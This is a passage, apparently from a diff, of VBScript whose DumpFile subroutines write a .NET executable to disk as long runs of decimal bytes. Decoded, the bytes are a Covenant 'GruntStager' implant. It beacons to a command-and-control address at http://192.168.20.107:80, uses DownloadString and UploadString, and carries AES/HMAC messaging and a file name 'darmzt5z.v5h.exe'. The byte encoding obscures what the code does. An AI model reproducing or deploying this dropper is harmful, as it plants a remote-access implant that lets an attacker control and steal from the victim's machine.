5 241 1 113 0 160 1 193 0 113" + WriteBytes objFile, "0 113 1 193 0 217 0 184 7 247 1 225 1 226 1 138 1 233 1 248 1 8 2 217 0 76 7 13 2" + WriteBytes objFile, "233 1 23 6 138 1 233 1 174 3 18 2 20 0 23 6 6 0 121 0 116 7 24 2 241 1 96 4 30 2 1" + WriteBytes objFile, "2 229 2 193 0 20 0 29 1 37 2 129 0 23 6 6 0 145 0 23 6 6 0 145 0 153 6 43 2 129 0" + WriteBytes objFile, "90 8 55 2 169 0 202 5 62 2 177 0 102 3 193 0 33 0 43 0 193 2 46 0 11 0 144 2 46 0" + WriteBytes objFile, "19 0 153 2 46 0 27 0 184 2 64 0 35 0 193 2 163 0 43 0 193 2 192 0 43 0 193 2 195 0" + WriteBytes objFile, "43 0 193 2 224 0 43 0 193 2 16 0 254 1 50 2 68 2 3 0 1 0 0 0 206 5 139 2 2 0 6 0 3" + WriteBytes objFile, "0 1 0 7 0 3 0 131 0 100 1 115 1 4 128 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 161 3 0 0 4" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 72 2 240 0 0 0 0 0 4 0 0 0 0 0 0 0 0 0 0 0 72 2 105 4 0 0 0" + WriteBytes objFile, "0 4 0 0 0 0 0 0 0 0 0 0 0 72 2 20 2 0 0 0 0 3 0 2 0 4 0 2 0 5 0 2 0 6 0 2 0 17 0 127" + WriteBytes objFile, "0 21 0 168 0 0 0 0 0 0 60 62 57 95 95 51 95 48 0 60 69 120 101 99 117 116 101 83 116" + WriteBytes objFile, "97 103 101 114 62 98 95 95 51 95 48 0 60 62 99 95 95 68 105 115 112 108 97 121 67" + WriteBytes objFile, "108 97 115 115 51 95 48 0 60 62 57 95 95 51 95 49 0 60 69 120 101 99 117 116 101 83" + WriteBytes objFile, "116 97 103 101 114 62 98 95 95 51 95 49 0 73 69 110 117 109 101 114 97 98 108 101" + WriteBytes objFile, "96 49 0 76 105 115 116 96 49 0 60 62 57 95 95 51 95 50 0 60 69 120 101 99 117 116" + WriteBytes objFile, "101 83 116 97 103 101 114 62 98 95 95 51 95 50 0 70 117 110 99 96 50 0 60 69 120 101" + WriteBytes objFile, "99 117 116 101 83 116 97 103 101 114 62 98 95 95 51 0 72 77 65 67 83 72 65 50 53 54" + WriteBytes objFile, "0 103 101 116 95 85 84 70 56 0 60 62 57 0 60 77 111 100 117 108 101 62 0 72 0 83 121" + WriteBytes objFile, "115 116 101 109 46 73 79 0 85 0 103 101 116 95 73 86 0 115 101 116 95 73 86 0 71 101" + WriteBytes objFile, "110 101 114 97 116 101 73 86 0 100 97 116 97 0 109 115 99 111 114 108 105 98 0 60" + WriteBytes objFile, "62 99 0 83 121 115 116 101 109 46 67 111 108 108 101 99 116 105 111 110 115 46 71" + WriteBytes objFile, "101 110 101 114 105 99 0 76 111 97 100 0 65 100 100 0 83 121 115 116 101 109 46 67" + WriteBytes objFile, "111 108 108 101 99 116 105 111 110 115 46 83 112 101 99 105 97 108 105 122 101 100" + WriteBytes objFile, "0 78 101 119 71 117 105 100 0 60 67 111 111 107 105 101 67 111 110 116 97 105 110" +End Sub + +Sub DumpFile3(objFile) + WriteBytes objFile, "101 114 62 107 95 95 66 97 99 107 105 110 103 70 105 101 108 100 0 82 101 112 108" + WriteBytes objFile, "97 99 101 0 103 101 116 95 83 116 97 99 107 84 114 97 99 101 0 115 101 116 95 77 111" + WriteBytes objFile, "100 101 0 80 97 100 100 105 110 103 77 111 100 101 0 67 105 112 104 101 114 77 111" + WriteBytes objFile, "100 101 0 103 101 116 95 77 101 115 115 97 103 101 0 67 114 101 100 101 110 116 105" + WriteBytes objFile, "97 108 67 97 99 104 101 0 73 110 118 111 107 101 0 69 110 117 109 101 114 97 98 108" + WriteBytes objFile, "101 0 73 68 105 115 112 111 115 97 98 108 101 0 67 111 110 115 111 108 101 0 87 114" + WriteBytes objFile, "105 116 101 76 105 110 101 0 103 101 116 95 78 101 119 76 105 110 101 0 69 115 99" + WriteBytes objFile, "97 112 101 0 83 101 99 117 114 105 116 121 80 114 111 116 111 99 111 108 84 121 112" + WriteBytes objFile, "101 0 83 121 115 116 101 109 46 67 111 114 101 0 67 97 112 116 117 114 101 0 77 101" + WriteBytes objFile, "116 104 111 100 66 97 115 101 0 68 105 115 112 111 115 101 0 80 97 114 115 101 0 88" + WriteBytes objFile, "53 48 57 67 101 114 116 105 102 105 99 97 116 101 0 67 114 101 97 116 101 0 83 84" + WriteBytes objFile, "65 84 104 114 101 97 100 65 116 116 114 105 98 117 116 101 0 67 111 109 112 105 108" + WriteBytes objFile, "101 114 71 101 110 101 114 97 116 101 100 65 116 116 114 105 98 117 116 101 0 68 101" + WriteBytes objFile, "98 117 103 103 97 98 108 101 65 116 116 114 105 98 117 116 101 0 67 111 109 112 105" + WriteBytes objFile, "108 97 116 105 111 110 82 101 108 97 120 97 116 105 111 110 115 65 116 116 114 105" + WriteBytes objFile, "98 117 116 101 0 82 117 110 116 105 109 101 67 111 109 112 97 116 105 98 105 108 105" + WriteBytes objFile, "116 121 65 116 116 114 105 98 117 116 101 0 69 120 101 99 117 116 101 0 66 121 116" + WriteBytes objFile, "101 0 103 101 116 95 86 97 108 117 101 0 118 97 108 117 101 0 100 97 114 109 122 116" + WriteBytes objFile, "53 122 46 118 53 104 46 101 120 101 0 115 101 116 95 80 97 100 100 105 110 103 0 69" + WriteBytes objFile, "110 99 111 100 105 110 103 0 85 115 101 67 101 114 116 80 105 110 110 105 110 103" + WriteBytes objFile, "0 70 114 111 109 66 97 115 101 54 52 83 116 114 105 110 103 0 84 111 66 97 115 101" + WriteBytes objFile, "54 52 83 116 114 105 110 103 0 68 111 119 110 108 111 97 100 83 116 114 105 110 103" + WriteBytes objFile, "0 85 112 108 111 97 100 83 116 114 105 110 103 0 71 101 116 67 101 114 116 72 97 115" + WriteBytes objFile, "104 83 116 114 105 110 103 0 84 111 88 109 108 83 116 114 105 110 103 0 84 111 83" + WriteBytes objFile, "116 114 105 110 103 0 71 101 116 83 116 114 105 110 103 0 83 117 98 115 116 114 105" + WriteBytes objFile, "110 103 0 100 97 114 109 122 116 53 122 46 118 53 104 0 77 97 116 99 104 0 67 111" + WriteBytes objFile, "109 112 117 116 101 72 97 115 104 0 67 111 118 101 110 97 110 116 67 101 114 116 72" + WriteBytes objFile, "97 115 104 0 85 114 105 0 117 114 105 0 82 101 109 111 116 101 67 101 114 116 105" + WriteBytes objFile, "102 105 99 97 116 101 86 97 108 105 100 97 116 105 111 110 67 97 108 108 98 97 99" + WriteBytes objFile, "107 0 115 101 116 95 83 101 114 118 101 114 67 101 114 116 105 102 105 99 97 116 101" + WriteBytes objFile, "86 97 108 105 100 97 116 105 111 110 67 97 108 108 98 97 99 107 0 84 114 97 110 115" + WriteBytes objFile, "102 111 114 109 70 105 110 97 108 66 108 111 99 107 0 78 101 116 119 111 114 107 67" + WriteBytes objFile, "114 101 100 101 110 116 105 97 108 0 115 101 116 95 83 101 99 117 114 105 116 121" + WriteBytes objFile, "80 114 111 116 111 99 111 108 0 103 101 116 95 73 116 101 109 0 83 121 115 116 101" + WriteBytes objFile, "109 0 83 121 109 109 101 116 114 105 99 65 108 103 111 114 105 116 104 109 0 65 115" + WriteBytes objFile, "121 109 109 101 116 114 105 99 65 108 103 111 114 105 116 104 109 0 72 97 115 104" + WriteBytes objFile, "65 108 103 111 114 105 116 104 109 0 82 97 110 100 111 109 0 77 101 115 115 97 103" + WriteBytes objFile, "101 84 114 97 110 115 102 111 114 109 0 73 67 114 121 112 116 111 84 114 97 110 115" + WriteBytes objFile, "102 111 114 109 0 66 111 111 108 101 97 110 0 77 97 105 110 0 88 53 48 57 67 104 97" + WriteBytes objFile, "105 110 0 99 104 97 105 110 0 83 121 115 116 101 109 46 82 101 102 108 101 99 116" + WriteBytes objFile, "105 111 110 0 78 97 109 101 86 97 108 117 101 67 111 108 108 101 99 116 105 111 110" + WriteBytes objFile, "0 71 114 111 117 112 67 111 108 108 101 99 116 105 111 110 0 87 101 98 72 101 97 100" + WriteBytes objFile, "101 114 67 111 108 108 101 99 116 105 111 110 0 69 120 99 101 112 116 105 111 110" + WriteBytes objFile, "0 77 101 116 104 111 100 73 110 102 111 0 71 114 111 117 112 0 83 121 115 116 101" + WriteBytes objFile, "109 46 76 105 110 113 0 67 104 97 114 0 82 83 65 67 114 121 112 116 111 83 101 114" + WriteBytes objFile, "118 105 99 101 80 114 111 118 105 100 101 114 0 115 101 110 100 101 114 0 66 117 102" + WriteBytes objFile, "102 101 114 0 83 101 114 118 105 99 101 80 111 105 110 116 77 97 110 97 103 101 114" + WriteBytes objFile, "0 69 120 101 99 117 116 101 83 116 97 103 101 114 0 71 114 117 110 116 83 116 97 103" + WriteBytes objFile, "101 114 0 103 101 116 95 67 111 111 107 105 101 67 111 110 116 97 105 110 101 114" + WriteBytes objFile, "0 115 101 116 95 67 111 111 107 105 101 67 111 110 116 97 105 110 101 114 0 84 101" + WriteBytes objFile, "120 116 87 114 105 116 101 114 0 103 101 116 95 69 114 114 111 114 0 71 101 116 69" + WriteBytes objFile, "110 117 109 101 114 97 116 111 114 0 82 97 110 100 111 109 78 117 109 98 101 114 71" + WriteBytes objFile, "101 110 101 114 97 116 111 114 0 46 99 116 111 114 0 46 99 99 116 111 114 0 67 114" + WriteBytes objFile, "101 97 116 101 68 101 99 114 121 112 116 111 114 0 67 114 101 97 116 101 69 110 99" + WriteBytes objFile, "114 121 112 116 111 114 0 115 116 114 0 83 121 115 116 101 109 46 68 105 97 103 110" + WriteBytes objFile, "111 115 116 105 99 115 0 71 101 116 77 101 116 104 111 100 115 0 65 101 115 0 83 121" + WriteBytes objFile, "115 116 101 109 46 82 117 110 116 105 109 101 46 67 111 109 112 105 108 101 114 83" + WriteBytes objFile, "101 114 118 105 99 101 115 0 68 101 98 117 103 103 105 110 103 77 111 100 101 115" + WriteBytes objFile, "0 83 101 116 67 111 111 107 105 101 115 0 99 111 111 107 105 101 115 0 71 101 116" + WriteBytes objFile, "84 121 112 101 115 0 83 121 115 116 101 109 46 83 101 99 117 114 105 116 121 46 67" + WriteBytes objFile, "114 121 112 116 111 103 114 97 112 104 121 46 88 53 48 57 67 101 114 116 105 102 105" + WriteBytes objFile, "99 97 116 101 115 0 71 101 116 66 121 116 101 115 0 98 121 116 101 115 0 97 114 103" + WriteBytes objFile, "115 0 73 67 114 101 100 101 110 116 105 97 108 115 0 115 101 116 95 67 114 101 100" + WriteBytes objFile, "101 110 116 105 97 108 115 0 103 101 116 95 68 101 102 97 117 108 116 78 101 116 119" + WriteBytes objFile, "111 114 107 67 114 101 100 101 110 116 105 97 108 115 0 115 101 116 95 85 115 101" + WriteBytes objFile, "68 101 102 97 117 108 116 67 114 101 100 101 110 116 105 97 108 115 0 67 111 110 116" + WriteBytes objFile, "97 105 110 115 0 83 121 115 116 101 109 46 84 101 120 116 46 82 101 103 117 108 97" + WriteBytes objFile, "114 69 120 112 114 101 115 115 105 111 110 115 0 103 101 116 95 71 114 111 117 112" + WriteBytes objFile, "115 0 103 101 116 95 72 101 97 100 101 114 115 0 67 115 112 80 97 114 97 109 101 116" + WriteBytes objFile, "101 114 115 0 83 115 108 80 111 108 105 99 121 69 114 114 111 114 115 0 101 114 114" + WriteBytes objFile, "111 114 115 0 97 100 100 114 101 115 115 0 67 111 110 99 97 116 0 70 111 114 109 97" + WriteBytes objFile, "116 0 102 111 114 109 97 116 0 79 98 106 101 99 116 0 83 101 108 101 99 116 0 83 121" + WriteBytes objFile, "115 116 101 109 46 78 101 116 0 83 101 116 0 83 112 108 105 116 0 67 111 111 107 105" + WriteBytes objFile, "101 87 101 98 67 108 105 101 110 116 0 69 110 118 105 114 111 110 109 101 110 116" + WriteBytes objFile, "0 103 101 116 95 67 117 114 114 101 110 116 0 103 101 116 95 67 111 117 110 116 0" + WriteBytes objFile, "68 101 99 114 121 112 116 0 86 97 108 105 100 97 116 101 67 101 114 116 0 99 101 114" + WriteBytes objFile, "116 0 73 110 118 101 114 116 0 67 111 110 118 101 114 116 0 72 116 116 112 87 101" + WriteBytes objFile, "98 82 101 113 117 101 115 116 0 71 101 116 87 101 98 82 101 113 117 101 115 116 0" + WriteBytes objFile, "84 111 76 105 115 116 0 77 111 118 101 78 101 120 116 0 83 121 115 116 101 109 46" + WriteBytes objFile, "84 101 120 116 0 82 101 103 101 120 0 65 114 114 97 121 0 103 101 116 95 75 101 121" + WriteBytes objFile, "0 115 101 116 95 75 101 121 0 83 121 115 116 101 109 46 83 101 99 117 114 105 116" + WriteBytes objFile, "121 46 67 114 121 112 116 111 103 114 97 112 104 121 0 65 115 115 101 109 98 108 121" + WriteBytes objFile, "0 66 108 111 99 107 67 111 112 121 0 111 112 95 69 113 117 97 108 105 116 121 0 111" + WriteBytes objFile, "112 95 73 110 101 113 117 97 108 105 116 121 0 83 121 115 116 101 109 46 78 101 116" + WriteBytes objFile, "46 83 101 99 117 114 105 116 121 0 103 101 116 95 80 114 111 120 121 0 115 101 116" + WriteBytes objFile, "95 80 114 111 120 121 0 73 87 101 98 80 114 111 120 121 0 103 101 116 95 68 101 102" + WriteBytes objFile, "97 117 108 116 87 101 98 80 114 111 120 121 0 0 49 104 0 116 0 116 0 112 0 58 0 47" + WriteBytes objFile, "0 47 0 49 0 57 0 50 0 46 0 49 0 54 0 56 0 46 0 50 0 48 0 46 0 49 0 48 0 55 0 58 0" + WriteBytes objFile, "56 0 48 0 0 1 0 33 86 0 88 0 78 0 108 0 99 0 105 0 49 0 66 0 90 0 50 0 86 0 117 0" + WriteBytes objFile, "100 0 65 0 61 0 61 0 0 129 17 84 0 87 0 57 0 54 0 97 0 87 0 120 0 115 0 89 0 83 0" + WriteBytes objFile, "56 0 49 0 76 0 106 0 65 0 103 0 75 0 70 0 100 0 112 0 98 0 109 0 82 0 118 0 100 0" + WriteBytes objFile, "51 0 77 0 103 0 84 0 108 0 81 0 103 0 78 0 105 0 52 0 120 0 75 0 83 0 66 0 66 0 99" + WriteBytes objFile, "0 72 0 66 0 115 0 90 0 86 0 100 0 108 0 89 0 107 0 116 0 112 0 100 0 67 0 56 0 49" + WriteBytes objFile, "0 77 0 122 0 99 0 117 0 77 0 122 0 89 0 103 0 75 0 69 0 116 0 73 0 86 0 69 0 49 0" + WriteBytes objFile, "77 0 76 0 67 0 66 0 115 0 97 0 87 0 116 0 108 0 73 0 69 0 100 0 108 0 89 0 50 0 116" + WriteBytes objFile, "0 118 0 75 0 83 0 66 0 68 0 97 0 72 0 74 0 118 0 98 0 87 0 85 0 118 0 78 0 68 0 69" + WriteBytes objFile, "0 117 0 77 0 67 0 52 0 121 0 77 0 106 0 73 0 52 0 76 0 106 0 65 0 103 0 85 0 50 0" + WriteBytes objFile, "70 0 109 0 89 0 88 0 74 0 112 0 76 0 122 0 85 0 122 0 78 0 121 0 52 0 122 0 78 0 103" + WriteBytes objFile, "0 61 0 61 0 0 129 21 76 0 50 0 86 0 117 0 76 0 88 0 86 0 122 0 76 0 50 0 108 0 117" + WriteBytes objFile, "0 90 0 71 0 86 0 52 0 76 0 109 0 104 0 48 0 98 0 87 0 119 0 47 0 99 0 71 0 70 0 110" +End Sub + +Sub DumpFile4(objFile) + WriteBytes objFile, "0 90 0 84 0 49 0 55 0 82 0 49 0 86 0 74 0 82 0 72 0 48 0 109 0 100 0 106 0 48 0 120" + WriteBytes objFile, "0 44 0 76 0 50 0 86 0 117 0 76 0 88 0 86 0 122 0 76 0 50 0 82 0 118 0 89 0 51 0 77" + WriteBytes objFile, "0 117 0 97 0 72 0 82 0 116 0 98 0 68 0 57 0 48 0 101 0 88 0 66 0 108 0 80 0 88 0 116" + WriteBytes objFile, "0 72 0 86 0 85 0 108 0 69 0 102 0 83 0 90 0 50 0 80 0 84 0 69 0 61 0 44 0 76 0 50" + WriteBytes objFile, "0 86 0 117 0 76 0 88 0 86 0 122 0 76 0 51 0 82 0 108 0 99 0 51 0 81 0 117 0 97 0 72" + WriteBytes objFile, "0 82 0 116 0 98 0 68 0 57 0 116 0 90 0 88 0 78 0 122 0 89 0 87 0 100 0 108 0 80 0" + WriteBytes objFile, "88 0 116 0 72 0 86 0 85 0 108 0 69 0 102 0 83 0 90 0 50 0 80 0 84 0 69 0 61 0 0 128" + WriteBytes objFile, "175 105 0 61 0 97 0 49 0 57 0 101 0 97 0 50 0 51 0 48 0 54 0 50 0 100 0 98 0 57 0" + WriteBytes objFile, "57 0 48 0 51 0 56 0 54 0 97 0 51 0 97 0 52 0 55 0 56 0 99 0 98 0 56 0 57 0 100 0 53" + WriteBytes objFile, "0 50 0 101 0 38 0 100 0 97 0 116 0 97 0 61 0 123 0 48 0 125 0 38 0 115 0 101 0 115" + WriteBytes objFile, "0 115 0 105 0 111 0 110 0 61 0 55 0 53 0 100 0 98 0 45 0 57 0 57 0 98 0 49 0 45 0" + WriteBytes objFile, "50 0 53 0 102 0 101 0 52 0 101 0 57 0 97 0 102 0 98 0 101 0 53 0 56 0 54 0 57 0 54" + WriteBytes objFile, "0 45 0 51 0 50 0 48 0 98 0 101 0 97 0 55 0 51 0 1 3 10 0 0 129 49 60 0 104 0 116 0" + WriteBytes objFile, "109 0 108 0 62 0 10 0 32 0 32 0 32 0 32 0 60 0 104 0 101 0 97 0 100 0 62 0 10 0 32" + WriteBytes objFile, "0 32 0 32 0 32 0 32 0 32 0 32 0 32 0 60 0 116 0 105 0 116 0 108 0 101 0 62 0 72 0" + WriteBytes objFile, "101 0 108 0 108 0 111 0 32 0 87 0 111 0 114 0 108 0 100 0 33 0 60 0 47 0 116 0 105" + WriteBytes objFile, "0 116 0 108 0 101 0 62 0 10 0 32 0 32 0 32 0 32 0 60 0 47 0 104 0 101 0 97 0 100 0" + WriteBytes objFile, "62 0 10 0 32 0 32 0 32 0 32 0 60 0 98 0 111 0 100 0 121 0 62 0 10 0 32 0 32 0 32 0" + WriteBytes objFile, "32 0 32 0 32 0 32 0 32 0 60 0 112 0 62 0 72 0 101 0 108 0 108 0 111 0 32 0 87 0 111" + WriteBytes objFile, "0 114 0 108 0 100 0 33 0 60 0 47 0 112 0 62 0 10 0 32 0 32 0 32 0 32 0 32 0 32 0 32" + WriteBytes objFile, "0 32 0 47 0 47 0 32 0 72 0 101 0 108 0 108 0 111 0 32 0 87 0 111 0 114 0 108 0 100" + WriteBytes objFile, "0 33 0 32 0 123 0 48 0 125 0 10 0 32 0 32 0 32 0 32 0 60 0 47 0 98 0 111 0 100 0 121" + WriteBytes objFile, "0 62 0 10 0 60 0 47 0 104 0 116 0 109 0 108 0 62 0 0 11 102 0 97 0 108 0 115 0 101" + WriteBytes objFile, "0 0 21 97 0 54 0 49 0 100 0 98 0 49 0 99 0 48 0 51 0 98 0 0 3 45 0 1 89 67 0 97 0" + WriteBytes objFile, "70 0 104 0 118 0 83 0 108 0 55 0 119 0 118 0 103 0 97 0 108 0 76 0 84 0 110 0 114" + WriteBytes objFile, "0 67 0 105 0 43 0 108 0 69 0 98 0 90 0 84 0 115 0 106 0 122 0 104 0 115 0 82 0 118" + WriteBytes objFile, "0 57 0 51 0 119 0 54 0 70 0 71 0 98 0 57 0 76 0 101 0 77 0 61 0 0 128 179 123 0 123" + WriteBytes objFile, "0 34 0 71 0 85 0 73 0 68 0 34 0 58 0 34 0 123 0 48 0 125 0 34 0 44 0 34 0 84 0 121" + WriteBytes objFile, "0 112 0 101 0 34 0 58 0 123 0 49 0 125 0 44 0 34 0 77 0 101 0 116 0 97 0 34 0 58 0" + WriteBytes objFile, "34 0 123 0 50 0 125 0 34 0 44 0 34 0 73 0 86 0 34 0 58 0 34 0 123 0 51 0 125 0 34" + WriteBytes objFile, "0 44 0 34 0 69 0 110 0 99 0 114 0 121 0 112 0 116 0 101 0 100 0 77 0 101 0 115 0 115" + WriteBytes objFile, "0 97 0 103 0 101 0 34 0 58 0 34 0 123 0 52 0 125 0 34 0 44 0 34 0 72 0 77 0 65 0 67" + WriteBytes objFile, "0 34 0 58 0 34 0 123 0 53 0 125 0 34 0 125 0 125 0 0 3 48 0 0 13 67 0 111 0 111 0" + WriteBytes objFile, "107 0 105 0 101 0 0 3 59 0 0 3 44 0 0 13 123 0 71 0 85 0 73 0 68 0 125 0 0 3 49 0" + WriteBytes objFile, "0 3 50 0 0 5 92 0 123 0 0 3 123 0 0 5 123 0 123 0 0 5 125 0 125 0 0 3 125 0 0 7 123" + WriteBytes objFile, "0 48 0 125 0 0 27 40 0 63 0 39 0 103 0 114 0 111 0 117 0 112 0 48 0 39 0 46 0 42 0" + WriteBytes objFile, "41 0 1 7 123 0 49 0 125 0 0 27 40 0 63 0 39 0 103 0 114 0 111 0 117 0 112 0 49 0 39" + WriteBytes objFile, "0 46 0 42 0 41 0 1 7 123 0 50 0 125 0 0 27 40 0 63 0 39 0 103 0 114 0 111 0 117 0" + WriteBytes objFile, "112 0 50 0 39 0 46 0 42 0 41 0 1 7 123 0 51 0 125 0 0 27 40 0 63 0 39 0 103 0 114" + WriteBytes objFile, "0 111 0 117 0 112 0 51 0 39 0 46 0 42 0 41 0 1 7 123 0 52 0 125 0 0 27 40 0 63 0 39" + WriteBytes objFile, "0 103 0 114 0 111 0 117 0 112 0 52 0 39 0 46 0 42 0 41 0 1 7 123 0 53 0 125 0 0 27" + WriteBytes objFile, "40 0 63 0 39 0 103 0 114 0 111 0 117 0 112 0 53 0 39 0 46 0 42 0 41 0 1 13 103 0 114" + WriteBytes objFile, "0 111 0 117 0 112 0 48 0 0 13 103 0 114 0 111 0 117 0 112 0 49 0 0 13 103 0 114 0" + WriteBytes objFile, "111 0 117 0 112 0 50 0 0 13 103 0 114 0 111 0 117 0 112 0 51 0 0 13 103 0 114 0 111" + WriteBytes objFile, "0 117 0 112 0 52 0 0 13 103 0 114 0 111 0 117 0 112 0 53 0 0 217 166 66 42 72 81 217" + WriteBytes objFile, "65 141 71 127 130 254 247 139 229 0 4 32 1 1 8 3 32 0 1 5 32 1 1 17 17 87 7 44 18" + WriteBytes objFile, "20 21 18 29 1 14 21 18 29 1 14 21 18 29 1 14 21 18 29 1 14 14 14 18 33 14 14 29 5" + WriteBytes objFile, "14 18 37 18 41 18 45 29 5 29 5 29 5 14 14 18 12 14 14 14 14 29 5 29 5 29 5 18 37 29" + WriteBytes objFile, "5 29 5 14 29 5 29 5 29 5 14 17 49 21 17 53 1 14 14 8 8 8 8 18 57 6 32 1 29 14 29 3" + WriteBytes objFile, "15 16 1 1 21 18 29 1 30 0 21 18 117 1 30 0 3 10 1 14 6 21 18 101 2 14 14 5 32 2 1" + WriteBytes objFile, "28 24 23 16 2 2 21 18 117 1 30 1 21 18 117 1 30 0 21 18 101 2 30 0 30 1 4 10 2 14" + WriteBytes objFile, "14 3 0 0 14 5 32 2 14 14 14 4 0 1 2 14 4 0 0 17 49 3 32 0 14 5 32 2 14 8 8 5 0 1 29" + WriteBytes objFile, "5 14 4 0 0 18 37 6 32 1 1 17 128 137 6 32 1 1 17 128 141 5 32 1 1 29 5 7 32 2 1 8" + WriteBytes objFile, "18 128 145 5 0 0 18 128 149 4 32 1 14 2 5 32 1 29 5 14 5 32 0 18 128 157 8 32 3 29" + WriteBytes objFile, "5 29 5 8 8 6 32 1 29 5 29 5 5 0 2 14 14 14 4 32 0 29 5 5 0 1 14 29 5 6 0 2 14 14 29" + WriteBytes objFile, "28 6 0 1 1 17 128 169 6 0 1 1 18 128 173 4 32 1 1 2 5 0 0 18 128 177 6 32 1 1 18 128" + WriteBytes objFile, "177 5 32 0 18 128 177 5 0 0 18 128 185 6 32 1 1 18 128 189 5 21 18 29 1 14 8 32 0" + WriteBytes objFile, "21 17 53 1 19 0 5 21 17 53 1 14 4 32 0 19 0 5 32 1 19 0 8 5 0 2 2 14 14 4 32 1 1 14" + WriteBytes objFile, "5 32 0 18 128 193 5 32 2 1 14 14 3 32 0 8 4 32 1 8 8 4 32 1 14 14 3 32 0 2 5 0 2 14" + WriteBytes objFile, "14 28 5 32 1 14 29 5 7 32 2 29 5 29 5 2 5 0 0 18 128 209 12 0 5 1 18 128 217 8 18" + WriteBytes objFile, "128 217 8 8 7 0 1 18 128 221 29 5 6 32 0 29 18 128 225 6 32 0 29 18 128 229 6 32 2" + WriteBytes objFile, "28 28 29 28 5 0 0 18 128 241 6 0 3 14 14 14 14 9 7 2 18 61 21 18 29 1 14 4 0 1 14" + WriteBytes objFile, "14 4 32 1 2 14 5 32 1 18 61 14 5 32 0 18 128 249 6 32 1 18 128 253 14 5 32 1 1 19" + WriteBytes objFile, "0 6 32 2 1 18 77 14 4 7 1 18 85 6 32 1 18 81 18 77 5 32 1 1 18 73 3 7 1 2 8 183 122" + WriteBytes objFile, "92 86 25 52 224 137 3 6 18 73 2 6 2 2 6 14 3 6 18 24 7 6 21 18 101 2 14 14 5 0 1 1" + WriteBytes objFile, "29 14 3 0 0 1 9 0 2 21 18 29 1 14 14 14 4 32 0 18 73 10 32 4 2 28 18 89 18 93 17 97" + WriteBytes objFile, "4 40 0 18 73 8 1 0 8 0 0 0 0 0 30 1 0 1 0 84 2 22 87 114 97 112 78 111 110 69 120" + WriteBytes objFile, "99 101 112 116 105 111 110 84 104 114 111 119 115 1 8 1 0 2 0 0 0 0 0 4 1 0 0 0 0" + WriteBytes objFile, "0 248 71 0 0 0 0 0 0 0 0 0 0 18 72 0 0 0 32 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 4 72 0 0 0 0 0 0 0 0 0 0 0 0 95 67 111 114 69 120 101 77 97 105 110 0 109 115" + WriteBytes objFile, "99 111 114 101 101 46 100 108 108 0 0 0 0 0 255 37 0 32 64 0 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 64 0 0 12 0 0 0 36 56 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 